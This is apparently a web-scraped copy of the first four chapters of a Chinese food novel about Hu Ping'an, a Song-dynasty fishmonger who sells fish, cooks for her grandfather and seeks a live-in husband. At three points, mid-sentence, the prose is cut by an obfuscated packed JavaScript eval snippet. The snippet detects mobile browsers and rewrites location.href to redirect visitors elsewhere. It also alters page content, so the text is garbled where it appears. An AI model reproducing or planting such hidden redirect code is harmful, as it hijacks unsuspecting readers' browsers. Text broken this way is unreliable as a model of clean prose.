《北宋杀鱼手札（美食）》 1. 杀鱼的第一天 江宁府，玉溪镇。 初春天亮得迟，这会不过寅时中，明月依旧高悬，天幕一片黛蓝。 晨风裹挟着湿冷的寒意刮向这沿河小镇，伴随着清脆的咯吱声在空旷的街巷中响起，沉寂整夜的玉溪镇，逐渐在烟火气息中苏醒。 街道两边的档口陆续挂上招牌营业，市集中开始出现一些挑着担子卖菜的老人。 一时间，轱辘声、叫卖声、砍剁声、冲洗声，还价声逐渐充斥萦绕市集。 将今日鱼牌挂在档口檐下，胡平安便等待顾客上门。 这会，她正处理着熟客预定的鲈鱼，就听得有人问话。 “胡娘子，今儿出摊出得迟了。” 王大娘提着刚买的两块豆腐，笑着站在档前。 “正是，今日来了好货脆肉鲩，这才忙得迟了。” “新鲜的土鲫还有吗？我这豆腐等着下锅呢！” 看大娘不搭话，平安也不恼，只是甜甜笑问：“有的，要大的还是小的？” “我家儿子今日回来，给我来条两斤的。” “好嘞！” 胡平安动作利落地抓起一条背黑腹白，肚腹圆润的土鲫，鱼儿察觉危险，大力甩尾，霎时激起一片水花。 平安侧头避开，手下稍稍用力，鱼儿立马老实，她这才抬头问道：“今儿还要杀吗？” “杀吧，鱼头我要炖豆腐，鱼肉我蒸着吃，这市场里我就爱来你这，你这娘子老实不耍滑。”说罢，她满脸慈笑地望向平安。 胡平安只憨笑点头，将鱼称重报了数，这才拾起旁边的尖锐剃刀，往那鱼鳃旁灵巧一戳，方才还活蹦乱跳的鱼这会已没了动静。 王大娘依旧笑着看着平安，眼睛一眨不眨。 平安并未理睬她这口是心非的注视，只是利索刮去鱼鳞，手起刀落，鱼头瞬间与鱼身分离，不消片刻，鱼头便已被她从侧边剖开，鱼身杂物亦清理得干干净净。 刷刷两下，平安将刮下的鱼鳞被推入脚边的杂物桶中。 这鱼鳞既可做鱼冻鱼胶又可给她爷沤肥，她可舍不得浪费丁点。 平安从案板旁抽出两根草绳将鱼串上，至于掏出的鱼杂鱼籽，自然已塞回鱼腹中。 市集里不是没有偷奸耍滑的屠户，会趁乱将别人的鱼块与鱼杂藏起，或是另外高价卖出，或是自家吃个鲜。 但胡平安向来不爱干那亏心事，因此也在这市集中逐渐闯出几分名声。 如愿看到平安未做小动作，王大娘扫视档口一圈，方悠悠掏钱。 “这紫苏倒是好，送我几根。”说罢，不待平安回应，她便俯身抓走一把细嫩的紫苏叶。 平安数了铜钱，将钱与手一同洗净。 “你这孩子，未免太好说话了，她今儿做的那菜哪需要用到紫苏了？”一旁的杨婶恨铁不成钢地拍了拍平安的肩。 平安并未多言，只是憨笑回应：“或许王大娘就是喜欢紫苏那味。” 她这个小鱼摊，是她十三岁那年举全家之力支起，现下她年近二十，不知不觉，她已在这杀了七年的鱼。 最开始，她只能卖些鲫鱼，鲤鱼，草鱼或是青鳉鱼，鳝鱼之类常见鱼类，她又是生面孔，自然没几个人愿意光顾她的生意。 等到后面，看她人老实肯吃亏，许多街坊又知晓这里偶尔可以买到新鲜的虾蟹、细嫩少刺的翘嘴巴，亦有鳜鱼，鮰鱼之类的大河鱼类，她这里生意方逐渐兴隆。 而真正让她打出名气的则是肉质鲜嫩的脆肉鲩，这鱼可是稀奇玩意，乍一上市，便极受欢迎。她做的是这市集里的独家生意，慢慢引来许多嘴馋的老餮。 也是因此，她这档口生意才得以稳定。 “脆肉鲩今儿还有吗？” 说曹操，曹操便到，这不，生意就来了。 “有的，今儿有一条十来斤的大鱼，您要多少？” “哟，我这还是第一个？”那人伸头望着平安去抓桶中大鱼，好奇问道。 “是呀，可是个开门红，曹伯，您来多少？” “不多不多，跟老朋友喝口酒搞个下饭菜。” “那来个一斤？还是老价钱，六十文一斤。” “行，你给我看着些来。” 这条大鱼身长数尺，鱼身圆滚，甩起尾来那威力可不是小小鲫鱼可比。平安闭眼躲水，镇定抓住仍在挣扎的大鱼，拿起刀背朝鱼头一砍，轻松将它制服。 方才还试图甩尾攻击人的大鱼这会已悄无声息地躺在案板之上。 看着这娇弱小娘子面不改色一手提起十几斤的大鱼，一手拎着沉重的砍刀，饶是看惯，曹伯心依旧十分震撼。 平安将鱼利落剖开分段，那泛着寒光的刀刃一划，一块上好的鱼肚肉便轻易剥出。将肉扔在称上，正好一斤，不多不少。 这样四两拨千斤的利落动作，胡娘子属实有把好力气。 曹伯望着平安这摊位收拾得整齐利索，心下满意。 浑然不似别处，外面布满水沟与陈年血渍，连带着落脚都要小心选个地。她这孩子，每日都将档口打扫得干干净净，他们这些买菜的，来这也不用怕脏了鞋。 确实是个好娃子，就是太剽悍，一般人降不住她，曹伯心中暗暗感慨。 他掏出怀中的钱，头伸进档口对平安小声说道：“我这新认识一个冰人，赶明儿介绍给你认识认识。” “那敢情好，多谢曹伯了！” 听得又有媒人可见，胡平安喜上眉梢，她愁她这人生大事已好多年。 自她及笄起，嗯，勉强算是及笄吧，因为她也不知道她具体是哪一天生的。 她爷爷一直把她当亲孙女养，从未同她说过她的身世。 但她不是没听过村里人的闲言碎语，她早就知道自己不是爷爷的亲孙女，只是他不知道哪里捡回来的。 那又如何，他们爷孙俩相依为命多年，爷爷对她的好，她早已铭记在心，心中早早将他视为自己的亲祖父。 这两年家中所欠债务已还清大半，她手上也慢慢可腾出些余钱来改善家中生活。 爷爷多年劳苦，身形枯瘦，脊背微弓，身上常穿的粗布短褐也经年未换，平安有时只一想爷爷这些年所受苦难，便觉眼眶发酸，心中不是滋味。 她想，她定会好好孝顺他，她要赚很多的钱，要出人头地，让村里人不敢再背地里骂他绝代种。 再过两月，她便年满二十，按当地官府敕令，凡本州县男女有年满二十未婚配者，视为失时，需按年缴纳赋税。 这笔税十分苛刻，于平安的家境而言，是笔不划算的买卖。 也是因这些原因，自那件破事后，她便放下心中绮梦，着手寻人四处给她打听四里八乡的好郎君。 她要找个郎君上门，自个撑起他们胡家的门楣。 砰！ 手中十几斤的砍刀被她不费吹飞之力砍入砧板三分。 “呼。”平安美目微敛，眼神冷峻，不过须臾，她轻呼一口气，飞溅的木屑如秋风落叶般纷纷散落。方才那清冷的神情如雁过无痕，霎时消失不见。 档口只余一位表情拘谨，神态亲和的年轻娘子，正手持屠刀，倚案待客。 “胡娘子，今日收摊前给我留条鲈鱼。”旁边摊位卖鸡鸭的吴婶突然抬头喊道。 “好咧，吴婶。” “我家老姐姐今日来看我，我可得蒸条新鲜的鲈鱼让她尝尝咱们这地道的河鲜。” “您放心，保管新鲜。” 两人寒暄几句，又有客上门。 “胡幺爹孙女，鲫鱼还有没？”来人是他们村里的赵婶子，该说不说，村里有些人除了嘴巴碎，但若是家中要待客，也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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平安如何不知爷的拳拳爱子之心，但她想给爷爷更好的生活，就必须要比旁人更努力。 作为普通百姓，有些苦，她不吃，她爷爷就得吃。 她不想让他年纪一大把还每日躬身弯腰去砍竹、剖篾，抽丝。 竹子细刺多，竹编也是辛苦细致的活，做了多年，他的手指满是血泡与粗茧，腰背已弯成斗箩。 那编上几日才可做成一个的簸箕，斗笠，卖出去也只能赚个二三十文的辛苦钱。 她想，再过几年，她再多攒些钱，就不再杀鱼。 她在镇上开个卖小食的铺子，将她爷爷接来镇上享福，每日做些不累人的生意，赚得些银钱饱腹即可。 闲暇时去河边看看风景，吹吹凉风。 那才是神仙都不换的惬意好日子呢。 这样想来，平安心中有了盼头，她利索地将摊位收拾整齐，又去河边提来清水，埋头将地面与摊位的案板的血污打理干净。 将留下的鲈鱼送去吴婶摊位，如此，她方落锁关门，提着今日所赚银钱与几个空桶往外走去。 “就走啊？”吴婶提着鲈鱼笑问。 “是呀。”平安点点头，笑着与她挥挥手。 “今儿生意兴隆啊，胡娘子？”卖香料的杨叔好奇打趣。 “今朝备的货少了，这才偷懒得了闲。”平安驻足颔首，笑意盈盈回道。 出了集市，她这才发现，今儿码头的人不是很多，这可不正常，如今正是春日，许多地方存粮告罄，应有许多人来玉溪镇贩卖粮食才是。 她笑着拍了拍码头边洗脚的纤夫，低声问道：“老李，今天是怎么了，人这么少？” 2. 杀鱼的第二天 那人抬头，见是老熟人，便跺了跺脚，甩干脚上的水渍，这才放下裤脚叹道：“哎，听闻云梦湖那边出了水匪，好多商船都不敢出来，咱们也就没了活干咯！” “那是，这倒是烦心。”平安点头附和。 他们这些手无寸铁的小老百姓，如何比得过那些凶神恶煞，视财如命的水匪。 一旦遇上，运气好丢了财，运气不好，怕是小命都没了。 这一片水匪猖獗之名历来盛传，为此，平安心中也曾怀疑，她那个爹，那时怕不是也遇上水匪了？ 但终究只是想想，他早已逝世多年，她再也得不到答案。她现在能做的的，就是代替他好好照顾爷爷。 “就回去？”李庆不自在地瞟了眼平安的脸，粗声问道。 “是。”平安目不斜视跳上船，将那些桶绑好，又摸了摸刚刚买的几个果腹的包子。 她该出发了。 收了船锚，竹竿撑岸，小船迅速飘向河中，平安划桨顺风而下。 一路上，她倒是遇见几个打渔返程的熟人，打过招呼后，几艘船各自散开。 不过一盏茶，她便已汇入玉溪河的主干河流洛江。 今日正是个无晴无雨的好天气，鱼儿不会因闷热躲在洞中不出，迎着凉爽的春风，站在船头的平安放目远眺。 眼前这条宽阔长河水波荡漾，波光粼粼，天上灰蒙蒙的卷云倒映在水面，衬得这条江似银河般耀眼。 洒下一把饵料，她甩出手中的网。 今日她打算捞上几把就赶紧回家。万一变天，回去得晚了，可就危险。 钱重要，她小命也重要。 如是想来，她等了片刻方提网。 嘿，里面竟是几只螃蟹，不过春日里螃蟹正从冬眠中清醒过来，这会瘦得可怜，到嘴也没几口肉。 平安笑着将它们捡出丢回河中。 至于这鱼，除了一条鲫鱼外，竟还有满满一兜云梦湖中常见的小银鱼。 这鱼不过食指长短，形似玉簪，色如脂玉，通体软骨无鳞，肉质细嫩非常。又因活鱼在阳光照射下鱼身均覆有一层粼粼银光，故得名银鱼。 或是小火煎焙，或是炖汤、炸酥，都是不可多得的美味，在市集里可卖得上大价钱。 平安高兴地将这些小鱼与翘嘴分开放进船舱的桶中。 这可都是她赚钱的宝贝。 又行船十余米，平安寻了个河湾继续撒网。 这次，上来了几条草鱼。 看了眼它们的鱼腹，平安将有籽的母鱼放回河中。 再过几日，便是长达一个半月的禁渔期，她又得去码头批发那些养殖的鱼儿了。 连着撒下三四网，平安陆续捞起几条鲤鱼与青鱼。 够了够了，眼见着天上乌云卷起，河面开始狂风大作，她的小船也在风中摇摆不定，平安赶忙戴上斗笠调转船身回家。 她的家没在镇上，而是在玉溪河的支流可到的月河村。 他们村里湖网密布，许多人家门前都有池塘与沟渠，而玉溪河流经村中，恰好在决口处形成一处天然的河湾，因状如弯轭，形似弦月，故村落以此得名月河。 因着位处丰饶的鱼米之乡，村中一向人多地少，除了员外老爷家中有大几十亩良田外，普通人家有那四五亩地便已算丰盈的大户人家。 不少家中有多余劳力的村民便会佃上几个湖泊，或是养鱼，或是种莲，还有在河边水洼处四处种植苎麻的。 也因此，只要人勤快，在无天灾的年岁，村里人也都可以填饱肚子甚至小有盈余。 这会怕是已过午时，也不知她爷是否还在等着她用午膳。 思及此，胡平安手中的桨吃水愈深，在风中左右飘摇的小木船竟也摇摇晃晃安稳飘行在水面。 待她赶到玉溪河，酝酿多时的暴雨倾盆而下，船舱积水瞬间深达数寸，平安赶忙扯上蓑衣披上，要让她爷看见她淋雨受寒，又少不了一顿批。 值得庆幸的是，玉溪河的风浪比洛江要小上不少。 擦了擦额角的汗，平安长舒一口气，这才晃晃悠悠往她家后边那条小溪划去。 行船半晌，终于靠岸，将船紧紧系在木桩上，又落上锁。 平安方提着她这些叮叮咚咚的物什快步朝家门走去。 刚刚下了场大雨，她爷给她拿石子垫好的上堤小路也被滑落的黄色泥水浸润。这会走上去滑不溜秋，满是泥泞。 一路用力平稳身形，平安后背也不禁闷出身薄汗。 刚跨上河堤，她寻了块石头刮掉鞋底湿润的泥土，侧耳便听得家中传来篾刀刮薄竹片的清脆声响。 哎，她爷还在织斗笠。 不对，其中还夹杂些许人声，她爷一向不爱说话，这是那些人又来找他了？ “幺叔，你和我们才是真正血脉相连的一家人，你何苦为了那个来历不明的野种伤了亲戚间的和气。” 熟悉的男声穿破厚重的砖墙，直击平安心神，她脚步一顿，侧耳贴向墙壁，手上动作愈发小心。 “再说，她年岁也大了，迟迟不嫁娶，这让后面的弟妹如何许亲，别人一提到咱家，就说咱们是那嫁不出去的母老虎家。” 母老虎？平安觉得，她这个名声背得实在冤枉。她自认对于无甚干系的陌生人，一向是和颜悦色，要不然与她关系亲近的那些人，也不会觉得她人老实和善。 至于那些招惹她的人，她难不成还腆着脸送上门给他们打，她可不是什么好脾气。 当然，要是给钱，也不是不行，她对她的顾客就一向颇为忍耐，毕竟，这辈子，钱就是她的命根。 “您再好好想想，我们就先走了。” 人声愈近，想来是她堂伯已准备出门。平安心下一惊，忙快步退回后院。 绕行一圈后，她蹑步靠近木门，就见那黄泥砖所砌的茅屋内，她爷果真正弯腰坐在门框边给剖好的竹片抽丝，这会，手上已挂满一圈柔韧的黄色竹丝。 看着爷爷弓起的背与满手的粗茧，平安心中颇不是滋味。 这个小老头，只知道埋头干活，也不怕累着自己。 至于今日找他那几人说的话，想来也不是什么好事，左不过要给她找个人家尽快嫁了去，然后让她爷收养一个旁系侄孙给他养老。等她爷过身，这家中田宅自是都归了他们后代所有。 他们家前些年欠了几十贯外债，就近几年才将将还清大半。还余下七八贯是向家中亲人所借，当时爷爷要还，那几位亲戚却只道不急，只说平安大了需要备些嫁妆，让他身上留些钱备用。 别人说是这样说，但他们也不能真不急，人还是要懂得知恩图报。 这些人真真是打得好算盘，欠债时一个个充耳不闻，对她家话里话外皆是高高在上的俯视语气。眼看他们家日子过得好些了，一个个如同闻到血腥味的蚂蟥般主动凑了上来。 将桶中的鱼安置好，平安又去灶房看了眼，里面竟已煮好米饭，她爷还炒了把嫩生生的红苋菜放在锅中保温。 这是想着她不回，他便吃一盆青菜就成。 平安洗净手，戴上浪披。 她拿笊篱捞了一把刚刚捕上来的小银鱼，挑选活的放回水缸，剩下那些没甚生气的，则用盆装好。 舀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053554|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来井水搓洗一遍，晾干放置备用。 她又另敲了两个鸡蛋，撒上少量细盐调味，用筷子用力搅拌，蛋液搅得越匀，出来的蛋饼才越蓬松。 往灶台添了两把细柴，平安吹开覆盖在炽红炭火上的草木灰，就着炉灶内的余温，很快将火引燃。 她爷做事实在细致，做完饭，灶上与铁锅中干干净净，浑然不似那等马虎懒散之人。 他若不心细踏实，如何又能忍得住这么多年枯寂，每日埋头编织竹器，照看鸡鸭，顺带打理池塘与田地。 涮了遍锅与铲，将铁锅烧干。 胡平安舀上一勺猪油入锅，待油热，将蛋液缓缓倒入。 金黄的蛋液遇热很快凝固，平安提起锅柄，小心地转圈摇晃。 不多时，蛋液两面鼓起，蛋皮微焦，鸡蛋特有的蛋焦香传来，一张圆润蓬松的蛋饼呈现眼前。 待见得蛋饼四周鼓起热泡，平安再度翻面，等两面煎出虎皮状纹路，她用锅铲将蛋饼戳散，加入盐与热水下锅熬煮。 这样煮出来的蛋汤，鸡蛋蓬松香软，汤汁雪白如脂，既美味又好嚼用。 最后再撒上一把葱花，几颗枸杞调色。 一碗色香味俱全的蛋皮汤便新鲜出炉。 她迅速将锅烧干，又低头看了眼灶中的柴火，见灶中柴火已燃尽，只余红彤彤的火炭，正是这样的低温才好。 平安用薄薄一层猪油将锅润亮，将椒盐腌制的银鱼取出，放入锅中烘焙。 银白的小鱼遇高温迅速炙烤变色，她轻轻一掂，所有小银鱼在空中翻面，随后稳稳落在锅中。 银鱼又细又长，不需费太多时间便可煎得双面焦黄。 她铲出一半备用，另一半撒上一勺野茴香粉与些许葱花翻拌均匀。 外酥里嫩，肉质鲜甜的小银鱼就此出锅。 端着两盆菜进堂屋，她爷已停下手中的活计。 平安笑着唤他：“爷爷，吃饭了。” 胡水生含笑点头：“早在你煎蛋时我便闻见香味咯。” “嘿嘿，爷爷鼻子依旧灵光，看来咱爷宝刀未老。” “你这丫头，没大没小的，连爷爷也调侃起来。” 胡平安娇俏一笑，转身去灶房端来苋菜与米饭。 “今儿怎么回来迟了？”望着桌上的银鱼，胡水生扶着桌边小心翼翼问平安。 “我去捕了两网鱼，路上又突然下起风雨，只好靠在岸边暂时躲了会雨。”平安手上动作未停，答起话来神色如常。 胡水生点点头，没再多问。 只是望着桌上丰盛的菜肴低声叹了句：“安安如今长大了，手艺越发好。” 她舍得放油，手艺能不好吗？平安心中无奈叹息，她爷做的那盆苋菜，得使劲凑近瞧才看得到上面几颗零星的油珠，做一整天活，即使一人吃一大盆，用不着两个时辰，肚子便能饿得咕咕叫。 平安扒完碗中最后一粒米饭，笑着安抚她爷：“爷爷，你莫担心。今儿有人给我介绍了个冰人，下午我去见见，咱们玉溪镇这么多人家，总能找到个愿意上门的郎君。” 胡水生失神地点点头，安安还不知道她在那些冰人口中是何名声吗？就算找得到，也不是什么好东西。 他拿着筷子的手顿了顿，终究是咽下已到喉间的劝阻。 早与她说过让她嫁人，但这孩子性格倔强地很，非说要守着他。 他这把老骨头，哪里值得她牺牲这么多。 爷孙俩相伴的这十几年，已是他人生中顶好的日子。 哎，若不是命运弄人，她如何会陷入如今这左右为难的地步？ 3. 杀鱼的第三天 这孩子，太过重感情！太过为别人着想...... “爷！”胡平安指着灶台上盖着盖的那半盆小银鱼唤胡水生。 “我洗完碗就出门了，你下午干活别累着自己，肚子饿了，这里有些焙干的银鱼干你垫垫肚子。” 胡水生慢步走近灶房，他扶着门框对平安挥挥手：“走，走，你有事就先出去，洗碗我来。” 平安却不理他，只是拿着碗筷轻巧地跳到院落的水井旁。 “这孩子。”看着孙女倔强的背影，胡水生花白的胡子不由颤动。 良久，他抬了抬袖子，转身回到堂屋，坐在他的竹椅上继续弯腰处理他的竹篾。 最近天已回暖，斗笠，簸箕，竹篮都渐有销路。 等天再热一些，他就要开始做凉席与竹床啰！ 平安将碗筷洗碗，灶台擦洗干净，又将家中的水缸打满，离开前，再三叮嘱她爷两句勿要劳累，这才带着一把油纸伞出了门。 平安望着角落里肆意生长的野草，心中只觉一片荒芜，去，不过是碰碰运气，不去，那真是无路可走。 她正欲推开院门，就听得门外大槐树下传来窸窸窣窣的议论声。 这种声音她熟，从小到大，不知听了多少遍。 最开始她们暗地里议论她不是爷爷的亲孙女，感慨她爹英年早逝。 后来便是说她经常与村中年轻后生拉拉扯扯，看着不像个老实人。 再后来，她们讨论的话题便转移至她名声泼辣，为人计较，嫁不出去迟早栽手里。 当然，伴随始终的话题就未曾离开她爷是个绝代种。 十四五岁时，平安心火旺盛，再三忍耐后这些人依旧死性不改，还偏偏总让她听到，她当场发疯，一脚踢断了门口的一颗樟树，吓得那些长舌妇连连捂脸惊叫。 示威过后，她逐字逐句反击那些人的言语，直将她们说得哑口无言，得来一句：“你这娘子牙尖嘴利，没大没小，以后谁娶了你就是娶了个祸害。”的评语。 平安名声变差，她们没少在里面添砖加瓦。 因着这些唇齿摩擦的琐碎之事不断积累，平安坚定了招婿上门的决心。 她闹过一场后，那些人收敛了一段时日，事后她爷还带着东西去那些人家说和，只道孩子年纪小不懂事，脾气大了些。 于是一群人就装作什么都没发生，继续维持着表面的虚与委蛇。 明明自家是受害一方，为了在村中安稳度日，却要忍辱负重去曲意讨好那些人。平安心中万分委屈与不甘，但她也明白，拜高踩低乃是世间常态，有时候这世道不看谁对谁错，而是看谁有权有势。 对于自己的冲动让爷爷受委屈一事，平安心下惶然，也慢慢学会了见人三分笑的曲意逢迎本事。 如此，她家在村里的名声才逐渐缓解。 听得动静，平安收回步子，弯腰侧耳倾听过去。 “水老嗲家这段时日天天闭门闭户，怕不是家里藏了什么东西吧？” “依我看，怕是去年被冰人赶出去丢了脸，听见郭家的成了亲，娶的还是镇上有钱人家的女儿，最近没脸见人才是。” 嗯，果真毫无新意。 “瞧着他们这院门，倒是比屋子还威武，不知道的以为这破茅屋里面藏了什么金疙瘩蛋呢。” 几人嘻嘻哈哈笑作一团，随即评判道：“咱们村里如今日子越过越好，多得是青砖青瓦屋，这一片除了王光正那个单身老汉，就得数水老嗲家的屋子最破。” “是啊，上次刮大风，还把他家的屋顶给吹飞了。” “那平安也不是不能赚钱，一家子抠抠搜搜连几根好些的椽皮木都舍不得换，这省下来的钱也不知会便宜哪个？” “依我看，她生意应当不成，那老李家的在镇上也是开铺，没几年人家就在镇上买房了。” “也是，要有钱，他每日还这样累死累活地埋头干，怕只是为了面子对外说她生意还成。” “说起来，他家这房子风水怕是有点问题，要不然，就得是有人命格不好。” 几人声音时高时低，平安却听得一清二楚。 她呼吸一窒，只觉心中沉甸甸，皱巴巴，似有密密麻麻的牛毫细针戳向心间。 她们说她无所谓，可偏偏要背后臭她爷爷，她爷爷那么老实本分的人，从不在背后说人闲话，这些人说这种话可实在昧良心。 饶是她劝诫自己就当她们在放屁，可心绪却不可避免地被她们的言语所牵引。 的确是她做得不好，没能让她爷享福。 她明白，争一时口舌之利无意义，饶是她生意尚可，可她现在确实拿不出镇上买房的银钱。唯有努力挣钱，让爷爷真正过上好日子才是上上之道。 见得平安出门，几人停下手中动作，笑吟吟问道：“平安，这是去哪里啊？” “出去随便走走。” 她才不会同她们说实话，这样的亏她已吃过多次，自然要吸取教训。 她若是说自己去找冰人，怕是自己前脚刚走，后脚村里便会度传遍她再被冰人嫌弃的壮烈事迹。 不消想，便可知道她恨嫁名声得又上一层楼。 她没有把自己私事吐出作为谈资的爱好，管住嘴能省许多事。 今儿寻的这个冰人，家在几里外的长水镇杏花村。 等平安到她家时，她家院内人声鼎沸，不知里面有多热闹。 在外边等了半天，等声音渐消，客人逐渐出门，平安才跨步朝院门走去。 出来的人，有男有女，有老有少，那小郎君见到平安，愣是直勾勾盯着她瞧了半晌。 直到身旁长辈揪了他一把，他这才红着脸回过神来，与他家长辈一起盯着平安上下打量。 自己样貌不错的事，平安早在数次失败的相亲过程中清楚自知。 只是她不喜欢这种看货物的眼神，并未理睬那几人，目不斜视地走进院落。 “请问可是钱冰人？曹建成曹伯介绍我来的。”平安倾身柔声问话。 “哟！”见又有客上门，钱冰人挥着紫色帕子扭出门。 “好一个美艳的小娘子。”就是肤色暗淡了些，当然，这在农家算不得什么大问题，只要捂一捂就能白。 以她多年经验来看，有这张脸就足矣。只是这样的小娘子蹉跎至今，想来也有些问题在身上，她轻轻挑眉，目光在平安身上不住逡巡。 得了夸，平安也很是上道地将手中鲫鱼送上。 “我这有桩婚事，还得辛苦您帮忙参详参详，若是成了，我定少不了您的好。” 说罢，她比了个数。 “两贯？”钱冰人两眼放光，这会平安在她眼中哪里是难搞的小娘子，这是送上门的财神爷。 平安点点头，目光沉沉扫向冰人。 “这长水镇，还没有我说不成的亲。”瞧平安貌美，这冰人喜笑颜开，拍胸脯承诺。 “莫急，您听她我的要求再应也不迟。” “嘿。”那冰人嘴角微勾，好整以暇地看着平安。 “以你这小娘子的美貌，经我这一番巧嘴，那不拘是村里的出息儿郎，还是镇上的富商地主，甚至那些贵人家中，也可搏一搏前程哟！” 越说，钱冰人越是开怀，纵观她从业二十余年的说媒生涯，这江宁府还没有她说不成的亲事。 “我要招婿。”平安淡淡道。 “什么？”钱冰人惊诧弯腰，似不可置信般掏了掏自己耳朵。 她围着平安打量一圈，恨铁不成钢地劝道：“你这小娘子盘靓条顺，前凸后翘，相貌更是老婆子见过的顶尖尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她蹲身细看，果真是，面前藏掖在杂草中间的野菜匐枝细长，根茎直立，嫩绿的枝叶上包裹着一层白色蛛丝状绵毛。这会的鼠曲草刚刚萌出，正是脆生生，嫩乎乎的好时机。 何须等到清明，她今日就想和它们亲近亲近。 平安搓了搓手，高兴地在四周寻了几捧塞进口袋，等会回去洗干净，再采上几颗嫩艾叶增香，她和爷爷今年就可早些尝个清明果子的鲜咯。 听村里老人说，这鼠曲草除了做清明果，亦可入药，内服有祛风利湿，止咳镇痛之功效。 她爷最近恰好有些咳嗽，她做这个正正好。 心中挂念多年的事有了个念想，平安走路的步子瞬间欢快起来。 回到家，她将采来的鼠曲草与艾叶嫩尖洗净切碎，放入擂钵中舂打，在她一番大力捶打之下，植物的茎叶很快化成细嫩的绿绒，流出青翠的汁液。 艾叶特有的药香扑鼻而来，平安闭目，满足地深吸一口气。 平安又摘来几片橘叶，继续捣碎，青草香与橘叶的芳香瞬间融合。 她挤出一部分汁液装盆备用，另取出盆装上剁碎的叶绒。 舀上几勺糯米粉将两盆汁液搅拌至絮状，平安下手试了试两个盆中米团的湿度。 有点黏糊，不成。 再添上一勺面粉与一块猪油，前者增加筋性，后者则可使团子更为油润延展。 她打算做两种口味的清明果。 纯汁液与糯米粉搅拌的嫩绿色团子，揉出来的青团呈豆青色，口感细腻柔韧，可做咸口包肉。加之橘叶与柚叶的搭配，更是内外添香，回味无穷。 里面有叶绒的团子，她早已加了一些甜叶菊的叶片进去一同捶打，这样便可省下一些白糖。捏成团下油锅煎制，做个甜口的饼亦十分暄软爽口。 4. 杀鱼的第四天 待面团揉光滑，平安将砧板洗净，撒上干粉，铺上均匀的绿色小剂子。 这边将团子盖上干净的湿棉布保湿，那边，平安利落将剁好的肉馅撒上些许酱油与生粉腌制调味。 这味咸口清明果，肉馅就得是粉糯口感为上，它还有个文雅的名，叫洞庭饐。 肉沫下油锅，与蒜末葱末和她自个腌制的干菜一同爆香。 浓郁的荤香霎时呛入鼻腔，让几日未见荤腥的平安馋得直咽口水。 她家两口人每日都做重体力活，不吃些油水肚腹实在难熬，是以她总是找各种理由隔三岔五为家中添点荤菜。 现在家中光景虽落魄了些，但还债和建房子的钱她一直在认真攒，平日里她的收入除了买些菜，剩下的绝大部分都被她存了起来。 民以食为天，平安认为钱花在吃喝上就是花在刀刃上。她喜美食，也不想爷爷晚年忍饥挨饿。 她自己多赚点，多省点就成。 思绪回笼，平安一手捏剂子，一手舀来出锅的肉沫。 很快，嫩绿的面团在她手中很快变成一个个带花褶的漂亮清明团子。 将团子放在洗净的柚子叶上，上蒸笼。 另一边则继续起火烧油，将糯米团炸成圆乎乎的艾叶粑。 待煎炸至两面金黄，平安用筷子挑出一个尝味。这刚出锅的甜口清明果软糯绵甜，外酥里嫩，入口只觉绵软细腻，清香四溢。细细回味，方知是淡淡的米焦香与清雅的艾草香充斥缠绕所得。 闻到浓郁的香气，胡水生走到灶门前笑道：“若不是闻见了香味，我差点以为家中又遭了贼。” 平安不好意思地捏紧锅铲：“爷爷，我看你在忙，便没有喊你。” “没事，只是做这么多，咱爷俩不知道得吃多久。” 早知爷的性格，平安自然准备了多的份。 她爷在家排行老幺，上头好几个哥哥，如今还在世的还有两个。 果不其然，她爷自己还未尝味，便吩咐道：“给你二爷爷，三爷爷他们送上几个去。” “好咧！”平安拿出几块荷叶，每家各夹了六个给伯爷送去。 他们家的关系错综复杂，几位伯爷爷膝下子女众多，关系自然也有好有坏，但这在世的两位伯爷爷，对于她爷那确实是一片真心，连带着也对她极为和蔼照顾。 只是他们年老体衰，手上又无甚进项，虽在家中勉强挂个当家的牌子，但多依靠儿女养老照顾，遇着她家的事来，自然帮扶不了多少。 见得孙女蹦蹦跳跳出门，胡水生拿起孙女给的筷子，夹了一个咸口的团子尝尝味。 这团子模样精致，外皮柔软弹嫩，内馅更是粉粉糯糯，入口醇香。 再回味，口中除了艾草香味，竟还有清新的柚香隐隐绰绰掺杂其中。 他这么好的孙女，那些人看不上是他们瞎了眼，他还看不上他们。 哼。 胡水生气得胡子一吹，加快了咀嚼的动作，早些吃完，他还可早些干活。 平安提着荷叶包来到两位伯爷爷家，见得她过来，两位头发花白的老爷子很是开心。 “安安过来了？”伯爷笑得开怀，蜡黄的干瘦面庞上展现出层层笑褶。 因着他们为人和善，是以虽与他们后辈有些许摩擦矛盾，平安对这两位长辈依旧是出自真心地尊敬。 “来啦，二爷爷。” “好孩子，来。”二爷爷倚杖看了眼外边，随即小声朝平安招手。 两位伯爷皆是慈眉善目，进了屋，除了问几句她爷今日可好，又都转身颤颤巍巍从橱柜中或是拿上两个鸡蛋，或是拿出两块自己舍不得吃的糕点，硬要塞她手中。 平安推辞不要，他们却不管，只让她拿着。 拜别了两位爷爷，平安吸了口空中冷冽的空气，顿觉通体畅快。 枝丫上欢跳脆啼的小鸟，从南方归来的燕子，还有清风拂过那田间碧绿的荡漾草波，在这一瞬间都变得美好。 人，为什么一定要成亲啊！ 次日清早，带上家中的鱼，平安又踏上了去市集的路。 